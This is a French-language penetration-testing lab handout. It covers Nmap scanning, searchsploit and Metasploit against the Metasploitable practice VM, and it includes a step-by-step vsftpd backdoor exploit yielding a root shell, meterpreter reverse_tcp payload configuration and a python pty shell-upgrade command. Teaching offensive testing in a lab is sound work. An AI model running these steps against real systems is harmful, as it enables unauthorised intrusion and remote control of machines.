TP test d’intrusion

Reconnaissance avec Nmap et utilisation de Metasploit

Olivier LASNE - olivier@lasne.pro

2020-11-29

Introduction

Dans ce TP, nous allons voir comment utiliser Nmap pour découvrir services présents sur une machine, et récupérer leur version.

Nous verrons aussi comment vérifier si il existe un exploit pour la version utilisée, et comment exploiter une vulnérabilité avec le framework Metasploit.

Nmap

Nmap est un scanner réseau, il peut être utiliser à la fois pour découvrir les machines présentes sur un réseau, et pour lister les services (et leur version) d'une machine.

Nmap a de nombreuses options, nous ne les détaillerons pas toutes ici.

Scan basique

Si on lui donne une IP en paramètre, nmap va simplement effectuer un scan de port TCP, et lister les ports ouverts.

Exemple avec Metasploitable :

```
$ nmap 192.168.56.101

Starting Nmap 7.60 ( https://nmap.org ) at 2020-11-29 15:06 CET
Nmap scan report for 192.168.56.101
Host is up (0.00018s latency).
Not shown: 977 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
512/tcp  open  exec
513/tcp  open  login
514/tcp  open  shell
1099/tcp open  rmiregistry
1524/tcp open  ingreslock
2049/tcp open  nfs
2121/tcp open  ccproxy-ftp
```

```
3306/tcp open  mysql
5432/tcp open  postgresql
5900/tcp open  vnc
6000/tcp open  X11
6667/tcp open  irc
8009/tcp open  ajp13
8180/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 0.08 seconds
```

Découvrir les machines présentes sur un réseau

Ping scan

Pour découvrir rapidement les machines présentes sur le réseau, on peut faire simplement un ping scan :

```
nmap -sn 10.11.1.1-254
```

Top ports

Néanmoins, un certain nombre de machines sont configurés pour ne pas répondre aux ping. On peut choisir de scanner uniquement les ports les plus communs

```
nmap 10.11.1.1/24 -Pn --top-ports 10 --open -sS
```

-Pn : scan les ports même si la machine ne réponds pas aux pings.
--top-ports xx : scan uniquement les **xx** ports les plus communs.
--open : dans la sortie indique uniquement les ports ouverts.
-sS : **syn** scan, effectue seulement la 1ère partie du handshake TCP et est donc plus rapide. Peut-être également plus discret, mais est généralement détecté aujourd'hui.

Enregister les résultats

Nmap support 3 formats d'enregistrement

-oN : format texte classique. Identique à la sortie de la console.
-oG : *grepable nmap*, optimisé pour une recherche dans les résultats avec `grep`
-oX : format xml. Peut permettre de **reprendre un scan interrompu**, et l'importation des résultats dans certains outils comme **Metasploit**.

Scanner une machine

Une fois notre cible définie, on va chercher à avoir un maximum d'information.

Options communes

Avant d'attaquer une machine, on va généralement effectuer un **scan TCP complet** avec les options suivantes :

```
nmap -sV -sC -O -p- 192.168.56.102 -oN full.nmap
```

-p- va indiquer que l'on liste absolument tous les ports
-sV indique que l'on veut récupérer les informations de version
-sC indique que l'on lance les *scripts nmap* de récupération d'information qui n'ont pas d'effet de bord
-O signifie que nmap va essayer de détecter la version du système d'exploitation présent en face.
-oN écrit les résultats dans le fichier `full.nmap`

On réalise généralement un **1er scan de port** sans l'option `-p-` de façon à avoir uniquement les 1000 ports les plus fréquents. Et dans un second temps un scan avec tous les ports.

Scan UDP

Un scan UDP peut être (très) long. Néanmoins, il est généralement intéressant d'effectuer un scan au moins des ports les plus fréquents.

```
nmap -sU 192.168.56.102 -oN udp.nmap
```

Scripts Nmap

Nmap a la possibilité d'**exécuter des scripts**. Les scripts sont stockés dans le dossier **/usr/share/nmap/scripts**

Lister les scripts en lien avec SMB :

```
ls /usr/share/nmap/scripts | grep smb
```

On peut obtenir de l'**aide** sur un **script** de la façon suivante :

```
$ nmap --script-help=smb-os-discovery.nse
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-29 11:21 EST

smb-os-discovery
```

```
Categories: default discovery safe
https://nmap.org/nsedoc/scripts/smb-os-discovery.html
  Attempts to determine the operating system, computer name, domain, workgroup, and current
  time over the SMB protocol (ports 445 or 139).
  This is done by starting a session with the anonymous
  account (or with a proper user account, if one is given; it likely doesn't make
  a difference); in response to a session starting, the server will send back all this
  information.

  The following fields may be included in the output, depending on the
  circumstances (e.g. the workgroup name is mutually exclusive with domain and forest
  names) and the information available:
  * OS
  * Computer name
[...]
```

Un **script nmap** est exécuté de la façon suivante :

```
$ nmap --script=smb-os-discovery.nse 172.16.237.130 -p139,445
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-29 11:25 EST
Nmap scan report for 172.16.237.130
Host is up (0.00039s latency).

PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Host script results:
| smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: metasploitable
|   NetBIOS computer name:
|   Domain name: localdomain
|   FQDN: metasploitable.localdomain
|_  System time: 2020-11-29T06:15:53-05:00

Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds
```

Utilisation d'exploit

Dans le cadre d'un test d'intrusion, on va chercher à savoir s'il existe une vulnérabilité pour une des versions utilisées. À la fois sur des sites comme cvedetails.com, et directement sur des moteurs de recherche.

Dans notre cas, on va chercher directement à voir s'il existe **un exploit**. C'est à dire un script exploitant la vulnérabilité.

Exploit-DB

Le site de référence pour les exploits publiques est **exploit-db.com**.

On peut effecter des recherches directement sur l'interface web, mais il existe sous kali directement un outil en ligne de commande : **`searchsploit`**.

```
$ searchsploit vsftpd
---------------------------------------------- ----------------------
 Exploit Title                                |  Path
---------------------------------------------- ----------------------
vsftpd 2.0.5 - 'CWD' (Authenticated) Remote M | linux/dos/5814.pl
vsftpd 2.0.5 - 'deny_file' Option Remote Deni | windows/dos/31818.sh
vsftpd 2.0.5 - 'deny_file' Option Remote Deni | windows/dos/31819.pl
vsftpd 2.3.2 - Denial of Service              | linux/dos/16270.c
vsftpd 2.3.4 - Backdoor Command Execution (Me | unix/remote/17491.rb
---------------------------------------------- ----------------------
```

On peut utiliser l'option **`-u`** pour mettre à jour la base de données. `searchsploit -u`

L'option **`-x`** pour voir le détail d'un exploit. `searchsploit -x unix/remote/17491.rb`.

Et l'option **`-m`** pour en faire une copie dans le dossier courant. `searchsploit -m unix/remote/17491.rb`

Il n'y a pas d'unité sur la façon dont ces scripts sont écrits, et il est souvent nécessaire de les adapter.

Convertir un fichier au format CRLF

Il est parfois nécessaire de convertir les fichiers écrit sous Windows (convention CRLF). Pour cela on peut simplement utiliser l'outil `dos2unix`.

```
$ file 31819.pl
31819.pl: ASCII text, with CRLF line terminators

$ dos2unix 31819.pl
```

```
dos2unix: converting file 31819.pl to Unix format...

$ file 31819.pl
31819.pl: ASCII text
```

Metasploit

Metasploit est un **framework d'attaque**. Il intègre un nombre important d'**exploits** et de **payloads** et permet de les utiliser de façon unifiée.
Il intègre notamment des exploits très complexes comme ceux pour la vulnérabilité **MS17-010**.

Son intérêt réside aussi dans le shell **meterpreter** et les nombreux modules de **post-exploitation** qu'il intègre.

Démarrer la base de données

Metasploit utilise une base de données postgresql. Avant d'utiliser le framework il est nécessaire de démarrer la base de données avec la commande **`msfdb run`**.

L'état de la base de données peut être vérifiée avec `msfdb status`.

Msfconsole

On lance le framework avec la commande **`msfconsole`**.

```
$ msfconsole
IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .'"".'/|\`.""'.
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.__|__.-'

I love shells --egypt


       =[ metasploit v6.0.17-dev                          ]
+ -- --=[ 2076 exploits - 1124 auxiliary - 352 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: You can use help to view all available commands

msf6 >
```

Pour obtenir de l'aide, il existe la commande `help`, ainsi que l'option `-h` les différentes commandes.

À noter que metasploit supporte aussi l'autocomplétion avec **Tab**.

Metasploit a 4 catégories de modules principaux :

- auxiliary
- exploits
- payloads
- post

Exploit : La collection d'exploit de Metasploit. Ils sont classés par architecture de la cible, et protocole.

Auxilary : Va contenir les scanners, fuzzeurs, sniffer, etc.

Payload, Encoders, Nops : Ensemble de charges malveillantes, et les encodeurs nécessaires pour qu'il atteignent leur destination intacts.

Post : Ensemble de modules qui aident à la phase de post-exploitation.

Rechercher un exploit / module

On peut utiliser la commande `search` pour chercher un module.

```
msf6 > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank
      Check  Description
   -  ----                                  ---------------  ----
      -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent
      No     VSFTPD v2.3.4 Backdoor Command Execution


Interact with a module by name or index. For example info 0, use 0 or
   use exploit/unix/ftp/vsftpd_234_backdoor
```

Utiliser un module

Pour utiliser un module on utilise la commande `use`.

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact

msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

Obtenir des infos

On utilise la commande `show info` pour obtenir des informations sur un module.

Pour lister les options d'un module, on utilise `show options`.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR
      identifier, or hosts file with syntax 'file:<path>'
   RPORT   21               yes       The target port (TCP)


Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Exploit target:

   Id  Name
   --  ----
   0   Automatic
```

Les principales options sont **RHOSTS** qui contient l'IP de la machine cible, et **RPORT** qui indique le port où tourne le service cible.

Les options se configurent avec la commande **`set`** :

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 172.16.237.130
RHOSTS => 172.16.237.130
```

Choix du payloads

Les **payloads compatibles** peuvent être listés avec la commande `show payloads`. Si compatible, on choisira généralement `windows/meterpreter/reverse_tcp`, `linux/x86/meterpreter/reverse_tcp` ou `linux/x64/meterpreter/reverse_tcp`.

Pour selectionner un payload, on utilisera de la même façon la commande `set`.

```
msf6 exploit(windows/smb/ms17_010_psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
```

Une fois le **payload** définit. Il est souvent nécessaire de le configurer en définissant **LHOST** (adresse à laquel le payload vient se connecter).

On le configure de la même manière que RHOSTS avec la commande **set**.

```
msf6 exploit(windows/smb/ms17_010_psexec) > set LHOST 192.168.56.101
LHOST => 192.168.56.101
```

Une fois qu'un payload a été définit. Ses **options** appraissent également dans la sortie de la commande **`options`**.

```
msf6 exploit(windows/smb/ms17_010_psexec) > options
[...]

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.56.101   yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port
```

Executer un exploit

Sur les exploits qui le supportent, on peut utiliser la commande `check` pour vérifier si la cible est vulnérable.

```
msf6 exploit(windows/smb/ms17_010_psexec) > check

[*] 172.16.237.130:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[-] 172.16.237.130:445    - Host does NOT appear vulnerable.
[*] 172.16.237.130:445    - Scanned 1 of 1 hosts (100% complete)
```

```
[*] 172.16.237.130:445 - Cannot reliably check exploitability.
```

Finalement, on utilise la commande `exploit` pour exécuter l'exploit.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 172.16.237.130:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 172.16.237.130:21 - USER: 331 Please specify the password.
[+] 172.16.237.130:21 - Backdoor service has been spawned, handling...
[+] 172.16.237.130:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (0.0.0.0:0 -> 172.16.237.130:6200)
    at 2020-11-29 17:15:39 -0500

whoami
root
```

Améliorer son Shell

Lorsque l'on obtient un shell un peu minimaliste à travers un exploit. On peut utiliser la commande suivante pour avoir un shell un peu plus classe.

```
python -c "import pty;pty.spawn('/bin/bash')"
```

(Il est parfois nécessaire de préciser la version de python : `python2` ou `python3`).

Les sessions

Un shell ou **session** peuvt être mis en arrière plan avec la commande `background` ou le raccourci *Ctrl + Z*.

On peut lister les sessions avec la commande `sessions`.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > sessions

Active sessions
===============

  Id  Name  Type            Information  Connection
  --  ----  ----            -----------  ----------
  1         shell cmd/unix               0.0.0.0:0 ->
      172.16.237.130:6200 (172.16.237.130)
```

On peut récupérer une session interactive avec la commande `session -i`.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > sessions -i 1
```

```
[*] Starting interaction with 1...

whoami
root
```

Exercice :

1. Utiliser l'exploit **vsftpd** pour obtenir un shell sur Metasploitable
2. Utiliser un autre exploit pour obtenir un shell.